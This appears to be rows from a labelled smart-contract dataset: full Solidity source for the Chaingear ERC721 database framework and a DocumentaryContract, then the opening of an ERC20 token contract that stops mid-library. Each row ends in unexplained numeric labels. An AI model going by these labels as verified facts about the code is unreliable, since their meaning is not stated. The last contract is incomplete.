contract SupportsInterfaceWithLookup is ERC165 {
bytes4 public constant InterfaceId_ERC165 = 0x01ffc9a7;
mapping(bytes4 => bool) internal supportedInterfaces;
constructor()
public
{
_registerInterface(InterfaceId_ERC165);
}
function supportsInterface(bytes4 _interfaceId)
external
view
returns (bool)
{
return supportedInterfaces[_interfaceId];
}
function _registerInterface(bytes4 _interfaceId)
internal
{
require(_interfaceId != 0xffffffff);
supportedInterfaces[_interfaceId] = true;
}
}
contract ERC721Basic is ERC165 {
bytes4 internal constant InterfaceId_ERC721 = 0x80ac58cd;
bytes4 internal constant InterfaceId_ERC721Exists = 0x4f558e79;
bytes4 internal constant InterfaceId_ERC721Enumerable = 0x780e9d63;
bytes4 internal constant InterfaceId_ERC721Metadata = 0x5b5e139f;
event Transfer(
address indexed _from,
address indexed _to,
uint256 indexed _tokenId
);
event Approval(
address indexed _owner,
address indexed _approved,
uint256 indexed _tokenId
);
event ApprovalForAll(
address indexed _owner,
address indexed _operator,
bool _approved
);
function balanceOf(address _owner) public view returns (uint256 _balance);
function ownerOf(uint256 _tokenId) public view returns (address _owner);
function exists(uint256 _tokenId) public view returns (bool _exists);
function approve(address _to, uint256 _tokenId) public;
function getApproved(uint256 _tokenId)
public view returns (address _operator);
function setApprovalForAll(address _operator, bool _approved) public;
function isApprovedForAll(address _owner, address _operator)
public view returns (bool);
function transferFrom(address _from, address _to, uint256 _tokenId) public;
function safeTransferFrom(address _from, address _to, uint256 _tokenId)
public;
function safeTransferFrom(
address _from,
address _to,
uint256 _tokenId,
bytes _data
)
public;
}
contract ERC721Enumerable is ERC721Basic {
function totalSupply() public view returns (uint256);
function tokenOfOwnerByIndex(
address _owner,
uint256 _index
)
public
view
returns (uint256 _tokenId);
function tokenByIndex(uint256 _index) public view returns (uint256);
}
contract ERC721Metadata is ERC721Basic {
function name() external view returns (string _name);
function symbol() external view returns (string _symbol);
function tokenURI(uint256 _tokenId) public view returns (string);
}
contract ERC721 is ERC721Basic, ERC721Enumerable, ERC721Metadata {
}
contract ERC721Receiver {
bytes4 internal constant ERC721_RECEIVED = 0x150b7a02;
function onERC721Received(
address _operator,
address _from,
uint256 _tokenId,
bytes _data
)
public
returns(bytes4);
}
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
return _a / _b;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
library AddressUtils {
function isContract(address _addr) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(_addr) }
return size > 0;
}
}
contract ERC721BasicToken is SupportsInterfaceWithLookup, ERC721Basic {
using SafeMath for uint256;
using AddressUtils for address;
bytes4 private constant ERC721_RECEIVED = 0x150b7a02;
mapping (uint256 => address) internal tokenOwner;
mapping (uint256 => address) internal tokenApprovals;
mapping (address => uint256) internal ownedTokensCount;
mapping (address => mapping (address => bool)) internal operatorApprovals;
constructor()
public
{
_registerInterface(InterfaceId_ERC721);
_registerInterface(InterfaceId_ERC721Exists);
}
function balanceOf(address _owner) public view returns (uint256) {
require(_owner != address(0));
return ownedTokensCount[_owner];
}
function ownerOf(uint256 _tokenId) public view returns (address) {
address owner = tokenOwner[_tokenId];
require(owner != address(0));
return owner;
}
function exists(uint256 _tokenId) public view returns (bool) {
address owner = tokenOwner[_tokenId];
return owner != address(0);
}
function approve(address _to, uint256 _tokenId) public {
address owner = ownerOf(_tokenId);
require(_to != owner);
require(msg.sender == owner || isApprovedForAll(owner, msg.sender));
tokenApprovals[_tokenId] = _to;
emit Approval(owner, _to, _tokenId);
}
function getApproved(uint256 _tokenId) public view returns (address) {
return tokenApprovals[_tokenId];
}
function setApprovalForAll(address _to, bool _approved) public {
require(_to != msg.sender);
operatorApprovals[msg.sender][_to] = _approved;
emit ApprovalForAll(msg.sender, _to, _approved);
}
function isApprovedForAll(
address _owner,
address _operator
)
public
view
returns (bool)
{
return operatorApprovals[_owner][_operator];
}
function transferFrom(
address _from,
address _to,
uint256 _tokenId
)
public
{
require(isApprovedOrOwner(msg.sender, _tokenId));
require(_from != address(0));
require(_to != address(0));
clearApproval(_from, _tokenId);
removeTokenFrom(_from, _tokenId);
addTokenTo(_to, _tokenId);
emit Transfer(_from, _to, _tokenId);
}
function safeTransferFrom(
address _from,
address _to,
uint256 _tokenId
)
public
{
safeTransferFrom(_from, _to, _tokenId, "");
}
function safeTransferFrom(
address _from,
address _to,
uint256 _tokenId,
bytes _data
)
public
{
transferFrom(_from, _to, _tokenId);
require(checkAndCallSafeTransfer(_from, _to, _tokenId, _data));
}
function isApprovedOrOwner(
address _spender,
uint256 _tokenId
)
internal
view
returns (bool)
{
address owner = ownerOf(_tokenId);
return (
_spender == owner ||
getApproved(_tokenId) == _spender ||
isApprovedForAll(owner, _spender)
);
}
function _mint(address _to, uint256 _tokenId) internal {
require(_to != address(0));
addTokenTo(_to, _tokenId);
emit Transfer(address(0), _to, _tokenId);
}
function _burn(address _owner, uint256 _tokenId) internal {
clearApproval(_owner, _tokenId);
removeTokenFrom(_owner, _tokenId);
emit Transfer(_owner, address(0), _tokenId);
}
function clearApproval(address _owner, uint256 _tokenId) internal {
require(ownerOf(_tokenId) == _owner);
if (tokenApprovals[_tokenId] != address(0)) {
tokenApprovals[_tokenId] = address(0);
}
}
function addTokenTo(address _to, uint256 _tokenId) internal {
require(tokenOwner[_tokenId] == address(0));
tokenOwner[_tokenId] = _to;
ownedTokensCount[_to] = ownedTokensCount[_to].add(1);
}
function removeTokenFrom(address _from, uint256 _tokenId) internal {
require(ownerOf(_tokenId) == _from);
ownedTokensCount[_from] = ownedTokensCount[_from].sub(1);
tokenOwner[_tokenId] = address(0);
}
function checkAndCallSafeTransfer(
address _from,
address _to,
uint256 _tokenId,
bytes _data
)
internal
returns (bool)
{
if (!_to.isContract()) {
return true;
}
bytes4 retval = ERC721Receiver(_to).onERC721Received(
msg.sender, _from, _tokenId, _data);
return (retval == ERC721_RECEIVED);
}
}
contract ERC721Token is SupportsInterfaceWithLookup, ERC721BasicToken, ERC721 {
string internal name_;
string internal symbol_;
mapping(address => uint256[]) internal ownedTokens;
mapping(uint256 => uint256) internal ownedTokensIndex;
uint256[] internal allTokens;
mapping(uint256 => uint256) internal allTokensIndex;
mapping(uint256 => string) internal tokenURIs;
constructor(string _name, string _symbol) public {
name_ = _name;
symbol_ = _symbol;
_registerInterface(InterfaceId_ERC721Enumerable);
_registerInterface(InterfaceId_ERC721Metadata);
}
function name() external view returns (string) {
return name_;
}
function symbol() external view returns (string) {
return symbol_;
}
function tokenURI(uint256 _tokenId) public view returns (string) {
require(exists(_tokenId));
return tokenURIs[_tokenId];
}
function tokenOfOwnerByIndex(
address _owner,
uint256 _index
)
public
view
returns (uint256)
{
require(_index < balanceOf(_owner));
return ownedTokens[_owner][_index];
}
function totalSupply() public view returns (uint256) {
return allTokens.length;
}
function tokenByIndex(uint256 _index) public view returns (uint256) {
require(_index < totalSupply());
return allTokens[_index];
}
function _setTokenURI(uint256 _tokenId, string _uri) internal {
require(exists(_tokenId));
tokenURIs[_tokenId] = _uri;
}
function addTokenTo(address _to, uint256 _tokenId) internal {
super.addTokenTo(_to, _tokenId);
uint256 length = ownedTokens[_to].length;
ownedTokens[_to].push(_tokenId);
ownedTokensIndex[_tokenId] = length;
}
function removeTokenFrom(address _from, uint256 _tokenId) internal {
super.removeTokenFrom(_from, _tokenId);
uint256 tokenIndex = ownedTokensIndex[_tokenId];
uint256 lastTokenIndex = ownedTokens[_from].length.sub(1);
uint256 lastToken = ownedTokens[_from][lastTokenIndex];
ownedTokens[_from][tokenIndex] = lastToken;
ownedTokens[_from].length--;
ownedTokensIndex[_tokenId] = 0;
ownedTokensIndex[lastToken] = tokenIndex;
}
function _mint(address _to, uint256 _tokenId) internal {
super._mint(_to, _tokenId);
allTokensIndex[_tokenId] = allTokens.length;
allTokens.push(_tokenId);
}
function _burn(address _owner, uint256 _tokenId) internal {
super._burn(_owner, _tokenId);
if (bytes(tokenURIs[_tokenId]).length != 0) {
delete tokenURIs[_tokenId];
}
uint256 tokenIndex = allTokensIndex[_tokenId];
uint256 lastTokenIndex = allTokens.length.sub(1);
uint256 lastToken = allTokens[lastTokenIndex];
allTokens[tokenIndex] = lastToken;
allTokens[lastTokenIndex] = 0;
allTokens.length--;
allTokensIndex[_tokenId] = 0;
allTokensIndex[lastToken] = tokenIndex;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() public onlyOwner whenNotPaused {
paused = true;
emit Pause();
}
function unpause() public onlyOwner whenPaused {
paused = false;
emit Unpause();
}
}
interface IDatabase {
function createEntry() external payable returns (uint256);
function auth(uint256, address) external;
function deleteEntry(uint256) external;
function fundEntry(uint256) external payable;
function claimEntryFunds(uint256, uint256) external;
function updateEntryCreationFee(uint256) external;
function updateDatabaseDescription(string) external;
function addDatabaseTag(bytes32) external;
function updateDatabaseTag(uint8, bytes32) external;
function removeDatabaseTag(uint8) external;
function readEntryMeta(uint256) external view returns (
address,
address,
uint256,
uint256,
uint256,
uint256
);
function getChaingearID() external view returns (uint256);
function getEntriesIDs() external view returns (uint256[]);
function getIndexByID(uint256) external view returns (uint256);
function getEntryCreationFee() external view returns (uint256);
function getEntriesStorage() external view returns (address);
function getSchemaDefinition() external view returns (string);
function getDatabaseBalance() external view returns (uint256);
function getDatabaseDescription() external view returns (string);
function getDatabaseTags() external view returns (bytes32[]);
function getDatabaseSafe() external view returns (address);
function getSafeBalance() external view returns (uint256);
function getDatabaseInitStatus() external view returns (bool);
function pause() external;
function unpause() external;
function transferAdminRights(address) external;
function getAdmin() external view returns (address);
function getPaused() external view returns (bool);
function transferOwnership(address) external;
function deletePayees() external;
}
interface IDatabaseBuilder {
function deployDatabase(
address[],
uint256[],
string,
string
) external returns (IDatabase);
function setChaingearAddress(address) external;
function getChaingearAddress() external view returns (address);
function getOwner() external view returns (address);
}
contract Safe {
address private owner;
constructor() public
{
owner = msg.sender;
}
function()
external
payable
{
require(msg.sender == owner);
}
function claim(address _entryOwner, uint256 _amount)
external
{
require(msg.sender == owner);
require(_amount <= address(this).balance);
require(_entryOwner != address(0));
_entryOwner.transfer(_amount);
}
function getOwner()
external
view
returns(address)
{
return owner;
}
}
interface IChaingear {
function addDatabaseBuilderVersion(
string,
IDatabaseBuilder,
string,
string
) external;
function updateDatabaseBuilderDescription(string, string) external;
function depricateDatabaseBuilder(string) external;
function createDatabase(
string,
address[],
uint256[],
string,
string
) external payable returns (address, uint256);
function deleteDatabase(uint256) external;
function fundDatabase(uint256) external payable;
function claimDatabaseFunds(uint256, uint256) external;
function updateCreationFee(uint256) external;
function getAmountOfBuilders() external view returns (uint256);
function getBuilderByID(uint256) external view returns(string);
function getDatabaseBuilder(string) external view returns(address, string, string, bool);
function getDatabasesIDs() external view returns (uint256[]);
function getDatabaseIDByAddress(address) external view returns (uint256);
function getDatabaseAddressByName(string) external view returns (address);
function getDatabaseSymbolByID(uint256) external view returns (string);
function getDatabaseIDBySymbol(string) external view returns (uint256);
function getDatabase(uint256) external view returns (
string,
string,
address,
string,
uint256,
address,
uint256
);
function getDatabaseBalance(uint256) external view returns (uint256, uint256);
function getChaingearDescription() external pure returns (string);
function getCreationFeeWei() external view returns (uint256);
function getSafeBalance() external view returns (uint256);
function getSafeAddress() external view returns (address);
function getNameExist(string) external view returns (bool);
function getSymbolExist(string) external view returns (bool);
}
contract PaymentSplitter {
using SafeMath for uint256;
uint256 internal totalShares;
uint256 internal totalReleased;
mapping(address => uint256) internal shares;
mapping(address => uint256) internal released;
address[] internal payees;
event PayeeAdded(address account, uint256 shares);
event PaymentReleased(address to, uint256 amount);
event PaymentReceived(address from, uint256 amount);
constructor (address[] _payees, uint256[] _shares)
public
payable
{
_initializePayess(_payees, _shares);
}
function ()
external
payable
{
emit PaymentReceived(msg.sender, msg.value);
}
function getTotalShares()
external
view
returns (uint256)
{
return totalShares;
}
function getTotalReleased()
external
view
returns (uint256)
{
return totalReleased;
}
function getShares(address _account)
external
view
returns (uint256)
{
return shares[_account];
}
function getReleased(address _account)
external
view
returns (uint256)
{
return released[_account];
}
function getPayee(uint256 _index)
external
view
returns (address)
{
return payees[_index];
}
function getPayeesCount()
external
view
returns (uint256)
{
return payees.length;
}
function release(address _account)
public
{
require(shares[_account] > 0);
uint256 totalReceived = address(this).balance.add(totalReleased);
uint256 payment = totalReceived.mul(shares[_account]).div(totalShares).sub(released[_account]);
require(payment != 0);
released[_account] = released[_account].add(payment);
totalReleased = totalReleased.add(payment);
_account.transfer(payment);
emit PaymentReleased(_account, payment);
}
function _initializePayess(address[] _payees, uint256[] _shares)
internal
{
require(payees.length == 0);
require(_payees.length == _shares.length);
require(_payees.length > 0 && _payees.length <= 8);
for (uint256 i = 0; i < _payees.length; i++) {
_addPayee(_payees[i], _shares[i]);
}
}
function _addPayee(
address _account,
uint256 _shares
)
internal
{
require(_account != address(0));
require(_shares > 0);
require(shares[_account] == 0);
payees.push(_account);
shares[_account] = _shares;
totalShares = totalShares.add(_shares);
emit PayeeAdded(_account, _shares);
}
}
contract FeeSplitterChaingear is PaymentSplitter, Ownable {
event PayeeAddressChanged(
uint8 payeeIndex,
address oldAddress,
address newAddress
);
constructor(address[] _payees, uint256[] _shares)
public
payable
PaymentSplitter(_payees, _shares)
{ }
function changePayeeAddress(uint8 _payeeIndex, address _newAddress)
external
onlyOwner
{
require(_payeeIndex < 12);
require(payees[_payeeIndex] != _newAddress);
address oldAddress = payees[_payeeIndex];
shares[_newAddress] = shares[oldAddress];
released[_newAddress] = released[oldAddress];
payees[_payeeIndex] = _newAddress;
delete shares[oldAddress];
delete released[oldAddress];
emit PayeeAddressChanged(_payeeIndex, oldAddress, _newAddress);
}
}
library ERC721MetadataValidation {
function validateName(string _base)
internal
pure
{
bytes memory _baseBytes = bytes(_base);
for (uint i = 0; i < _baseBytes.length; i++) {
require(_baseBytes[i] >= 0x61 && _baseBytes[i] <= 0x7A || _baseBytes[i] >= 0x30 && _baseBytes[i] <= 0x39 || _baseBytes[i] == 0x2D);
}
}
function validateSymbol(string _base)
internal
pure
{
bytes memory _baseBytes = bytes(_base);
for (uint i = 0; i < _baseBytes.length; i++) {
require(_baseBytes[i] >= 0x41 && _baseBytes[i] <= 0x5A || _baseBytes[i] >= 0x30 && _baseBytes[i] <= 0x39);
}
}
}
contract Chaingear is IChaingear, Ownable, SupportsInterfaceWithLookup, Pausable, FeeSplitterChaingear, ERC721Token {
using SafeMath for uint256;
using ERC721MetadataValidation for string;
struct DatabaseMeta {
IDatabase databaseContract;
address creatorOfDatabase;
string versionOfDatabase;
string linkABI;
uint256 createdTimestamp;
uint256 currentWei;
uint256 accumulatedWei;
}
struct DatabaseBuilder {
IDatabaseBuilder builderAddress;
string linkToABI;
string description;
bool operational;
}
DatabaseMeta[] private databases;
mapping(string => bool) private databasesNamesIndex;
mapping(string => bool) private databasesSymbolsIndex;
uint256 private headTokenID = 0;
mapping(address => uint256) private databasesIDsByAddressesIndex;
mapping(string => address) private databasesAddressesByNameIndex;
mapping(uint256 => string) private databasesSymbolsByIDIndex;
mapping(string => uint256) private databasesIDsBySymbolIndex;
uint256 private amountOfBuilders = 0;
mapping(uint256 => string) private buildersVersionIndex;
mapping(string => DatabaseBuilder) private buildersVersion;
Safe private chaingearSafe;
uint256 private databaseCreationFeeWei = 10 ether;
string private constant CHAINGEAR_DESCRIPTION = "The novel Ethereum database framework";
bytes4 private constant INTERFACE_CHAINGEAR_EULER_ID = 0xea1db66f;
bytes4 private constant INTERFACE_DATABASE_V1_EULER_ID = 0xf2c320c4;
bytes4 private constant INTERFACE_DATABASE_BUILDER_EULER_ID = 0xce8bbf93;
event DatabaseBuilderAdded(
string version,
IDatabaseBuilder builderAddress,
string linkToABI,
string description
);
event DatabaseDescriptionUpdated(string version, string description);
event DatabaseBuilderDepricated(string version);
event DatabaseCreated(
string name,
address databaseAddress,
address creatorAddress,
uint256 databaseChaingearID
);
event DatabaseDeleted(
string name,
address databaseAddress,
address creatorAddress,
uint256 databaseChaingearID
);
event DatabaseFunded(
uint256 databaseID,
address sender,
uint256 amount
);
event DatabaseFundsClaimed(
uint256 databaseID,
address claimer,
uint256 amount
);
event CreationFeeUpdated(uint256 newFee);
constructor(address[] _beneficiaries, uint256[] _shares)
public
ERC721Token ("CHAINGEAR", "CHG")
FeeSplitterChaingear (_beneficiaries, _shares)
{
chaingearSafe = new Safe();
_registerInterface(INTERFACE_CHAINGEAR_EULER_ID);
}
modifier onlyOwnerOf(uint256 _databaseID){
require(ownerOf(_databaseID) == msg.sender);
_;
}
function addDatabaseBuilderVersion(
string _version,
IDatabaseBuilder _builderAddress,
string _linkToABI,
string _description
)
external
onlyOwner
whenNotPaused
{
require(buildersVersion[_version].builderAddress == address(0));
SupportsInterfaceWithLookup support = SupportsInterfaceWithLookup(_builderAddress);
require(support.supportsInterface(INTERFACE_DATABASE_BUILDER_EULER_ID));
buildersVersion[_version] = (DatabaseBuilder(
{
builderAddress: _builderAddress,
linkToABI: _linkToABI,
description: _description,
operational: true
}));
buildersVersionIndex[amountOfBuilders] = _version;
amountOfBuilders = amountOfBuilders.add(1);
emit DatabaseBuilderAdded(
_version,
_builderAddress,
_linkToABI,
_description
);
}
function updateDatabaseBuilderDescription(string _version, string _description)
external
onlyOwner
whenNotPaused
{
require(buildersVersion[_version].builderAddress != address(0));
buildersVersion[_version].description = _description;
emit DatabaseDescriptionUpdated(_version, _description);
}
function depricateDatabaseBuilder(string _version)
external
onlyOwner
whenPaused
{
require(buildersVersion[_version].builderAddress != address(0));
require(buildersVersion[_version].operational == true);
buildersVersion[_version].operational = false;
emit DatabaseBuilderDepricated(_version);
}
function createDatabase(
string _version,
address[] _beneficiaries,
uint256[] _shares,
string _name,
string _symbol
)
external
payable
whenNotPaused
returns (address, uint256)
{
_name.validateName();
_symbol.validateSymbol();
require(buildersVersion[_version].builderAddress != address(0));
require(buildersVersion[_version].operational == true);
require(databaseCreationFeeWei == msg.value);
require(databasesNamesIndex[_name] == false);
require(databasesSymbolsIndex[_symbol] == false);
return _deployDatabase(
_version,
_beneficiaries,
_shares,
_name,
_symbol
);
}
function deleteDatabase(uint256 _databaseID)
external
onlyOwnerOf(_databaseID)
whenNotPaused
{
uint256 databaseIndex = allTokensIndex[_databaseID];
IDatabase database = databases[databaseIndex].databaseContract;
require(database.getSafeBalance() == uint256(0));
require(database.getPaused() == true);
string memory databaseName = ERC721(database).name();
string memory databaseSymbol = ERC721(database).symbol();
delete databasesNamesIndex[databaseName];
delete databasesSymbolsIndex[databaseSymbol];
delete databasesIDsByAddressesIndex[database];
delete databasesIDsBySymbolIndex[databaseSymbol];
delete databasesSymbolsByIDIndex[_databaseID];
uint256 lastDatabaseIndex = databases.length.sub(1);
DatabaseMeta memory lastDatabase = databases[lastDatabaseIndex];
databases[databaseIndex] = lastDatabase;
delete databases[lastDatabaseIndex];
databases.length--;
super._burn(msg.sender, _databaseID);
database.transferOwnership(msg.sender);
emit DatabaseDeleted(
databaseName,
database,
msg.sender,
_databaseID
);
}
function fundDatabase(uint256 _databaseID)
external
whenNotPaused
payable
{
require(exists(_databaseID) == true);
uint256 databaseIndex = allTokensIndex[_databaseID];
uint256 currentWei = databases[databaseIndex].currentWei.add(msg.value);
databases[databaseIndex].currentWei = currentWei;
uint256 accumulatedWei = databases[databaseIndex].accumulatedWei.add(msg.value);
databases[databaseIndex].accumulatedWei = accumulatedWei;
emit DatabaseFunded(_databaseID, msg.sender, msg.value);
address(chaingearSafe).transfer(msg.value);
}
function claimDatabaseFunds(uint256 _databaseID, uint256 _amount)
external
onlyOwnerOf(_databaseID)
whenNotPaused
{
uint256 databaseIndex = allTokensIndex[_databaseID];
uint256 currentWei = databases[databaseIndex].currentWei;
require(_amount <= currentWei);
databases[databaseIndex].currentWei = currentWei.sub(_amount);
emit DatabaseFundsClaimed(_databaseID, msg.sender, _amount);
chaingearSafe.claim(msg.sender, _amount);
}
function updateCreationFee(uint256 _newFee)
external
onlyOwner
whenPaused
{
databaseCreationFeeWei = _newFee;
emit CreationFeeUpdated(_newFee);
}
function getAmountOfBuilders()
external
view
returns(uint256)
{
return amountOfBuilders;
}
function getBuilderByID(uint256 _id)
external
view
returns(string)
{
return buildersVersionIndex[_id];
}
function getDatabaseBuilder(string _version)
external
view
returns (
address,
string,
string,
bool
)
{
return(
buildersVersion[_version].builderAddress,
buildersVersion[_version].linkToABI,
buildersVersion[_version].description,
buildersVersion[_version].operational
);
}
function getDatabasesIDs()
external
view
returns(uint256[])
{
return allTokens;
}
function getDatabaseIDByAddress(address _databaseAddress)
external
view
returns(uint256)
{
uint256 databaseID = databasesIDsByAddressesIndex[_databaseAddress];
return databaseID;
}
function getDatabaseAddressByName(string _name)
external
view
returns(address)
{
return databasesAddressesByNameIndex[_name];
}
function getDatabaseSymbolByID(uint256 _databaseID)
external
view
returns(string)
{
return databasesSymbolsByIDIndex[_databaseID];
}
function getDatabaseIDBySymbol(string _symbol)
external
view
returns(uint256)
{
return databasesIDsBySymbolIndex[_symbol];
}
function getDatabase(uint256 _databaseID)
external
view
returns (
string,
string,
address,
string,
uint256,
address,
uint256
)
{
uint256 databaseIndex = allTokensIndex[_databaseID];
IDatabase databaseAddress = databases[databaseIndex].databaseContract;
return (
ERC721(databaseAddress).name(),
ERC721(databaseAddress).symbol(),
databaseAddress,
databases[databaseIndex].versionOfDatabase,
databases[databaseIndex].createdTimestamp,
databaseAddress.getAdmin(),
ERC721(databaseAddress).totalSupply()
);
}
function getDatabaseBalance(uint256 _databaseID)
external
view
returns (uint256, uint256)
{
uint256 databaseIndex = allTokensIndex[_databaseID];
return (
databases[databaseIndex].currentWei,
databases[databaseIndex].accumulatedWei
);
}
function getChaingearDescription()
external
pure
returns (string)
{
return CHAINGEAR_DESCRIPTION;
}
function getCreationFeeWei()
external
view
returns (uint256)
{
return databaseCreationFeeWei;
}
function getSafeBalance()
external
view
returns (uint256)
{
return address(chaingearSafe).balance;
}
function getSafeAddress()
external
view
returns (address)
{
return chaingearSafe;
}
function getNameExist(string _name)
external
view
returns (bool)
{
return databasesNamesIndex[_name];
}
function getSymbolExist(string _symbol)
external
view
returns (bool)
{
return databasesSymbolsIndex[_symbol];
}
function transferFrom(
address _from,
address _to,
uint256 _tokenId
)
public
whenNotPaused
{
uint256 databaseIndex = allTokensIndex[_tokenId];
IDatabase database = databases[databaseIndex].databaseContract;
require(address(database).balance == 0);
require(database.getPaused() == true);
super.transferFrom(_from, _to, _tokenId);
IDatabase databaseAddress = databases[databaseIndex].databaseContract;
databaseAddress.deletePayees();
databaseAddress.transferAdminRights(_to);
}
function safeTransferFrom(
address _from,
address _to,
uint256 _tokenId
)
public
whenNotPaused
{
safeTransferFrom(
_from,
_to,
_tokenId,
""
);
}
function safeTransferFrom(
address _from,
address _to,
uint256 _tokenId,
bytes _data
)
public
whenNotPaused
{
transferFrom(_from, _to, _tokenId);
require(
checkAndCallSafeTransfer(
_from,
_to,
_tokenId,
_data
));
}
function _deployDatabase(
string _version,
address[] _beneficiaries,
uint256[] _shares,
string _name,
string _symbol
)
private
returns (address, uint256)
{
IDatabaseBuilder builder = buildersVersion[_version].builderAddress;
IDatabase databaseContract = builder.deployDatabase(
_beneficiaries,
_shares,
_name,
_symbol
);
address databaseAddress = address(databaseContract);
SupportsInterfaceWithLookup support = SupportsInterfaceWithLookup(databaseAddress);
require(support.supportsInterface(INTERFACE_DATABASE_V1_EULER_ID));
require(support.supportsInterface(InterfaceId_ERC721));
require(support.supportsInterface(InterfaceId_ERC721Metadata));
require(support.supportsInterface(InterfaceId_ERC721Enumerable));
DatabaseMeta memory database = (DatabaseMeta(
{
databaseContract: databaseContract,
creatorOfDatabase: msg.sender,
versionOfDatabase: _version,
linkABI: buildersVersion[_version].linkToABI,
createdTimestamp: block.timestamp,
currentWei: 0,
accumulatedWei: 0
}));
databases.push(database);
databasesNamesIndex[_name] = true;
databasesSymbolsIndex[_symbol] = true;
uint256 newTokenID = headTokenID;
databasesIDsByAddressesIndex[databaseAddress] = newTokenID;
super._mint(msg.sender, newTokenID);
databasesSymbolsByIDIndex[newTokenID] = _symbol;
databasesIDsBySymbolIndex[_symbol] = newTokenID;
databasesAddressesByNameIndex[_name] = databaseAddress;
headTokenID = headTokenID.add(1);
emit DatabaseCreated(
_name,
databaseAddress,
msg.sender,
newTokenID
);
databaseContract.transferAdminRights(msg.sender);
return (databaseAddress, newTokenID);
}
} | 1 | 2,840 |
pragma solidity 0.4.20;
contract DocumentaryContract {
address owner;
mapping (address => bool) isEditor;
uint128 doccnt;
mapping (uint128 => address) docauthor;
mapping (uint128 => bool) isInvisible;
mapping (address => uint32) userdoccnt;
mapping (address => mapping (uint32 => uint128)) userdocid;
event DocumentEvent (
uint128 indexed docid,
uint128 indexed refid,
uint16 state,
uint doctime,
address indexed author,
string tags,
string title,
string text
);
event TagEvent (
uint128 docid,
address indexed author,
bytes32 indexed taghash,
uint64 indexed channelid
);
event InvisibleDocumentEvent (
uint128 indexed docid,
uint16 state
);
modifier onlyOwner {
require(msg.sender == owner);
_;
}
modifier onlyEditor {
require(isEditor[msg.sender] == true);
_;
}
modifier onlyAuthor(uint128 docid) {
require(docauthor[docid] == msg.sender);
_;
}
modifier onlyVisible(uint128 docid) {
require(isInvisible[docid] == false);
_;
}
modifier onlyInvisible(uint128 docid) {
require(isInvisible[docid] == true);
_;
}
function DocumentaryContract() public {
owner = msg.sender;
grantEditorRights(owner);
doccnt = 1;
}
function grantEditorRights(address user) public onlyOwner {
isEditor[user] = true;
}
function revokeEditorRights(address editor) public onlyOwner {
isEditor[editor] = false;
}
function documentIt(uint128 refid, uint64 doctime, bytes32[] taghashes, string tags, string title, string text) public {
writeDocument(refid, 0, doctime, taghashes, tags, title, text);
}
function editIt(uint128 docid, uint64 doctime, bytes32[] taghashes, string tags, string title, string text) public onlyAuthor(docid) onlyVisible(docid) {
writeDocument(docid, 1, doctime, taghashes, tags, title, text);
}
function writeDocument(uint128 refid, uint16 state, uint doctime, bytes32[] taghashes, string tags, string title, string text) internal {
docauthor[doccnt] = msg.sender;
userdocid[msg.sender][userdoccnt[msg.sender]] = doccnt;
userdoccnt[msg.sender]++;
DocumentEvent(doccnt, refid, state, doctime, msg.sender, tags, title, text);
for (uint8 i=0; i<taghashes.length; i++) {
if (i>=5) break;
if (taghashes[i] != 0) TagEvent(doccnt, msg.sender, taghashes[i], 0);
}
doccnt++;
}
function makeInvisible(uint128 docid) public onlyEditor onlyVisible(docid) {
isInvisible[docid] = true;
InvisibleDocumentEvent(docid, 1);
}
function makeVisible(uint128 docid) public onlyEditor onlyInvisible(docid) {
isInvisible[docid] = false;
InvisibleDocumentEvent(docid, 0);
}
function getDocCount() public view returns (uint128) {
return doccnt;
}
function getUserDocCount(address user) public view returns (uint32) {
return userdoccnt[user];
}
function getUserDocId(address user, uint32 docnum) public view returns (uint128) {
return userdocid[user][docnum];
}
} | 1 | 2,772 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
